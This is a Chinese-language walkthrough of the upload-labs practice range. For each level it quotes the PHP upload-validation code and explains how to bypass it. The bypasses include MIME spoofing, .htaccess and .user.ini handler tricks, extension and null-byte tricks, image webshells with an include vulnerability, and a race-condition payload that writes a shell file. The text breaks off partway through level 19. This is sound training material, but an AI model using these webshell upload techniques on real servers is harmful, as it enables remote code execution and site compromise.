目录
Pass-01(前端验证)
方法一:替换带有验证函数的文件
由于第一关为前端验证,当上传php文件后,会出现前端的报错提示
根据提示,从F12搜索“该文件不允许上传”,发现了判断代码出现在index.php中。
在来源面板打开index.php并将这个文件”替换内容“。将判断函数的内容删掉,保存刷新页面。
上传目标文件 发现顺利上传成功。
方法一:禁用浏览器的JavaScript
打开浏览器设置,这里我使用的是Google浏览器。搜索JavaScript-->点击“网站设置”-->点击“JavaScript,网站可以使用JavaScript”-->勾选“不允许网站使用JavaScript”
刷新upload-labs,重新上传1.php目标文件。发现成功上传。
成功效果:
Pass-02(利用burp绕过)
根据第二关的源码可以发现:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}
第二关是对Content-Type进行核对若是文件类型,则可以成功上传。为其他类型则会提示“文件类型不正确,请重新上传!”。所以先将目标的php文件后缀名改为jpg。是文件以jpg形式上传。
上传1.jpg并使用burp抓包。将1.jpg改为1.php。放包 发现上传成功。
成功效果:
Pass-03(利用文件解析绕过)
第三关代码如下:可以发现这里是设置了黑名单。但是在盲注情况下读不到源码。所以第一步上传1.jasbnczi文件。判断是黑名单还是白名单。
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
1.jasbnczi 上传成功,依次可以判断是黑名单。并且php在黑名单之中 发现了是黑名单。那就是限制了上传文件的后缀名。不能为php,所以我们可以选择上传后缀为php2 php3 php5 php7 phtml 的文件。其中phtml需要看小皮的配置文件是否有修改开放。修改httpd.conf文件。并重启小皮。
就可以使用.phtml作为后缀名 并被解析为php了。接下来就可以上传1.jpg文件。并在burp中修改后缀名为1.phtml或1.php2/php3/php5。上传成功,文件名被重命名了,记得复制下来。
将复制后的文件名放入到url中,在访问。成功效果:
Pass-04(.htaccess)
在开启第四关之前。需要先来了解一下什么是.htaccess文件(不管你访问什么类型的文件,都以php解析)
.htaccess什么是htaccess文件简介.htaccess是一个配置文件,用于运行Apache网络服务器软件的网络服务器上。当.htaccess文件被放置在一个 "通过Apache Web服务器加载 "的目录中时,.htaccess文件会被Apache Web服务器软件检测并执行。这些.htaccess文件可以用来改变Apache Web服务器软件的配置,以启用/禁用Apache Web服务器软件所提供的额外功能和特性。.htaccess文件提供了针对目录改变配置的方法, 即在一个特定的文档目录中放置一个包含一条或多条指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过 Apache 的 AllowOverride 指令来设置。
大概意思就是 我们需要用到.htaccess文件使这个文件存在的目录下将某个文件解析为php文件。
第四关的源码为:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
第一步、还是先判断是黑名单还是白名单。上传1.jasbnczi文件,上传成功 可以得出是黑名单。并且上一关的php2 php3 php5 php7 phtml都不能上传使用了说明这些后缀都进黑名单了。那么我们就该考虑.htaccess了
<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
将.htaccess目录下的名为 “1.jpg” 的文件解释为php文件。将.htaccess文件上传。
因为是黑名单,所以.htaccess上传成功。接着上传名为1.jpg的文件。
上传成功后。这里的1.jpg就可以被小皮当成1.php来进行解析了。对1.jpg进行访问,成功效果:
Pass-05(.user.ini)
(在你访问php文件时自动包含这个文件)
.user.ini的妙用原理.user.ini中两个中的配置就是auto_prepend_file和auto_append_file。这两个配置的意思就是:我们指定一个文件(如1.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),相当于在index.php中插入一句:require(./1.jpg)。这两个设置的区别只是在于auto_prepend_file是在文件前插入,auto_append_file在文件最后插入。
利用.user.ini的前提是服务器开启了CGI或者FastCGI,并且上传文件的存储路径下有index.php可执行文件。原文链接:文件上传-.user.ini的妙用-CSDN博客
.user.ini的使用情景和.htaccess类似,.user.ini是在执行php文件时会自动包含auto_prepend_file文件将其执行。
源码为:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
意思时在执行.user.ini路径下的任意php文件都会携带1.jpg。
那么我们就将.user,ini和1.jpg文件上传:
因为路径下本身就存在readme.php文件,所以直接就仿佛这个php文件 就可以携带到1.jpg了
失败了。为什么?只显示了readme.php的内容 并没有携带出1.jpg的内容一起执行。经调查才知道 我的php版本是5.4.45
需要php版本为5.4.45nts
修改好后在访问readme.php。结果如下:
Pass-06(大小写绕过)
先放第六关源码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
然后我们不看模拟黑盒。我们第一部还是先判断是黑名单还是白名单,上传1.osbcnzijnxcin文件,发现成功了。我们知道是黑名单。并且名字被处理了。
然后我们在上传1.php失败 不用想就知道。那我们就来分析源码。phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2"都被设置了黑名单。但是发现pHp,而没有禁止Php,和PhP。哈哈哈哈而且也没有了大小写转换的那行代码,那么就可以从这里下手。我们上传1.Php。上传成功后拷贝新的名字。
对/upload/202408201529034687.Php进行访问。出错了,我们去看看又是为什么。
经过多方调查(依据上一关的经验)我们切换一下php版本又从5.4.45nts版本切换回了5.4.45版本,就成功了。
Pass-07(空格绕过)
老规矩 放源码 测黑/白名单。
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
依旧是黑名单,从源码发现,对比上一关少了一行收尾去空 windows系统会在保存文件时自动去除文件首尾的空格,所以我们本次上传 “1.php ” 结果如下:
Pass-08(首尾加.绕过)
源码黑名单:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
对比上一关 少了删除末尾的 "." 。那我们就上传文件 “1.php.” 结果如下:
Pass-09(添加::$DATA绕过)
源码黑名单:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
对比上一关 缺少去除字符串::$DATA的函数 在文件末尾添加 “::$DATA” 上传文件 “1.php::$DATA”,结果如下:
Pass-10(重复执行绕过)
源码黑名单:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
所有的方法都试过了 那么我们来看代码 这个文件执行一次,那么我们把所有的雷点都加上1.Php::&DATA .那么 我们再多一个 "." 和空格会怎么样?上传文件“1.Php::&DATA . .”。失败 分析失败原因。大小写转换将DATA转化为了data而不能被删除。将::&DATA删除,上传“1.Php . .”。上传成功 结果如下:
Pass-11(双写绕过)
源码黑名单:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
我们先上传一个 “1.Php” 试试水,发现成功了 但是也发现 他在文件中 被保存为了 “1.” 说明php被删了,也就是说这一关是只要上传了带有$deny_ext内的后缀名 就会被删。
那么我们可以通过双写操作 来绕过严重。成功,结果如下:
Pass-12(%00截断)
来了 第12关在上传随便后缀名文件后 发现不能上传,可以依次判断是白名单,先上源码再来分析:
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
0x00是十六进制表示方法,是ascii码为0的字符,在有些函数处理时,会把这个字符当做结束符。系统在对文件名的读取时,如果遇到0x00,就会认为读取已结束。在PHP5.3之后的版本中完全修复了00截断。并且00截断受限与GPC,addslashes函数。
来看代码 将url中的参数["save_path"]也就是保存路径 和 “/” 上传文件的名字。所以我们需要用到%00对路径和文件名字进行截断。再将路径进行改变,把路径改为保存的位置。
那么第一步,我们需要先将php的版本调整为5.3以下,并且关闭GPC。
然后开始我们的上传流程,使用burp抓包,对参数路径进行更改,并且上传的文件符合白名单的限制”1.jpg“
需要改变的只有这三点。
结果如下:
Pass-13(0x00截断)
第13关,首先确定白名单,再先上源码:
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传失败";
}
} else {
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
看着代码怎么跟第12关一样,也上传带有一句话木马的 "1.jpg" 进行抓包。
抓包成功,可以发现原本再url里的路径参数,跑到了表单数据里面,而不是在查询字符串的参数里面。换汤不换样,我们继续试试改变路径为 “../upload/1.php%00”上传试试
上传失败了,因为表单数据会在数据传递时转为二进制,(好像是这样),那么我们就去改他的二进制数据。
改完后 发现出现了不占位置的三个空再1.php后面。也起到了截断的作用 上传试试。
上传成功,结果如下:
Pass-14(文件上传漏洞)
图片Webshell制作
在服务端的PHP代码中,对于用户上传的文件做文件类型检查查看文件格式是否符合上传规范。可以检查文件二进制格式的前几个字节,从而判断文件类型是否正确。具体操作,找一个正常图片,和一个包含我们目标代码的php文件,将他们俩合成为一个图片码copy 800.jpg /b + 123.php /a 1.jpg
include.php
我们知道了 再../upload/的底下 有一个inlcude.php文件,分析include.php代码:
<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
include $file;
}else{
show_source(__file__);
}
?>
isset函数来判断是否使include函数执行。include函数是使 $file也执行 而$file是从$_GET获取参数file,获取的到的话,include就会被执行,大概逻辑就是这么一回事。那么 我们的目的就是让isset执行include函数。而$file就是我们的图片码。
文件包含漏洞
先上源码:
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);
if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
我们先将创建好的图片码上传进行抓包。
抓到包了,也看见了我们制作图片过程中的一句话木马。然后我们试着添加参数file试试。
上传成功了 但是我们发现图片码的名字被改变了,所以file的不应该加在这里 而应该放在访问include.php中。记下来图片码的名字。
这里加上了include需要的file参数,从而使include函数被执行了。现在看见的是图片的二进制,往下翻,发现成功了,结果如下:
Pass-15(文件上传漏洞)
第15关代码如下:
function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)>=0){
return $ext;
}else{
return false;
}
}else{
return false;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
方法和第14关 Pass-14 过法一模一样 不多说了
Pass-16(文件上传漏洞)
第16关代码如下:
function isImage($filename){
//需要开启php_exif模块
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
方法和第14关 Pass-14 过法一模一样 但需要注意 需要php选择5.4.45。开启exif模块
Pass-17(二次渲染)
看来还是考的是文件上传漏洞文件包含。但是这一次我们上传我们之前copy 800.jpg /b + 123.php /a 1.jpg
生成的图片码发现并没有成功回显phpinfo的内容,先看源码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];
$target_path=UPLOAD_PATH.'/'.basename($filename);
// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);
//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);
if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);
if($im == false){
$msg = "该文件不是png格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}
这一关,是将我们上传的图片进行了压缩,也就是对我们上传的图片进行了渲染,使得我们本来存在于图片中的一句话木马被渲染没了,如何解决这个难题呢。我们重新寻找一张图片。将他上传。
这样就可以将上传后 渲染过后的图片获取到本地了。接着,我们需要对比原图,和经过二次渲染后的图片的二进制视图。我这里使用的工具是EmEditor。将两个图片 “以二进制方式打开(十六进制视图)” https://support.emeditor.com/en/downloads/latest/installer/64 #下载地址
可以看见,颜色相同的就是没有改的地方,颜色不同的就是被渲染的地方,那么我们可以将一句话木马放到没有处理的地方,这样的话,一句话木马就不会被处理了,开始行动,利用制作webshell图片码的方式,我们先将一句话木马的二进制提取出来,先合并一句话木马
使用EmEditor打开新生成的1.gif。将1.php文件的一句话木马的二进制文件替换到未经过渲染原图不会被渲染的地方,如图:
上传最这个改动后的图片到第17关,上传成功:
利用include文件包含漏洞,尝试携带这个文件,成功,结果如下:
Pass-18(竞争上传)
竞争上传过程介绍:服务器获取文件 --> 保存上传临时文件 --> 重命名移动临时文件
竞争条件原理介绍:网站逻辑:1、网站允许上传任意文件,然后检査上传文件是否包含Webshell,如果包含删除该文件2、网站允许上传任意文件,但是如果不是指定类型,那么使用unlink删除文件。在删除之前访问上传的php文件,从而执行上传文件中的php代码。例如:上传文件代码如下<?php fputs(fopen('shell.php','w'),'<?php phpinfo(); ?>'); ?>
先来分析源码:
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
分析代码可以发现,代码将上传的文件拼接后通过 move_uploaded_file 函数 将临时文件移动到目标路径 ,也就是说,会把文件先保存,再通过 if(in_array($file_ext,$ext_arr))
检查文件扩展名是否在允许的扩展名数组中 ,如果文件类型允许 ,会被保存,如果移动失败,则会被unlink 函数删除文件。那么我们只要再未被删除前执行我们上传的代码,而我们上传的代码内容为 <?php fputs(fopen('shell.php','w'),'<?php phpinfo(); ?>'); ?>
会生成一句话木马文件,然后在被删除,但此时,我们文件已经创建成功。
但是代码执行速度过快,我们不一定能真的上传并且执行成功,这里 我们作个弊。
进入18关的源码,将删除操作延长,是被删前先休眠5秒。对上传文件,和执行文件同时爆破。
同时启动!两个爆破模块同时执行。(上面图片错了,应该是访问111.php)
成功能访问到上传的111.php,也就意味着222.php被创建成功。尝试访问222.php。成功结果:
尝试蚁剑连接:
Pass-19(竞争上传+文件上传)
先看源码:
//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
require_once("./myupload.php");
$imgFileName =time();
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
$status_code = $u->upload(UPLOAD_PATH);
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = '文件已经被上传,但没有重命名。';
break;
case -1:
$msg = '这个文件不能上传到服务器的临时文件存储目录。';
break;
case -2:
$msg = '上传失败,上传目录不可写。';
break;
case -3:
$msg = '上传失败,无法上传该类型文件。';
break;
case -4:
$msg = '上传失败,上传的文件过大。';
break;
case -5:
$msg = '上传失败,服务器已经存在相同名称文件。';
break;
case -6:
$msg = '文件无法上传,文件不能复制到目标目录。';
break;
default:
$msg = '未知错误!';
break;
}
}
//myupload.php
class MyUpload{
......
......
......
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );
......
......
......
/** upload()
**
** Method to upload the file.
** This is the only method to call outside the class.
** @para String name of directory we upload to
** @returns void
**/
function upload( $dir ){
$ret = $this->isUploadedFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->setDir( $dir );
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkExtension();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkSize();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// if flag to check if the file exists is set to 1
if( $this->cls_file_exists == 1 ){
$ret = $this->checkFileExists();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
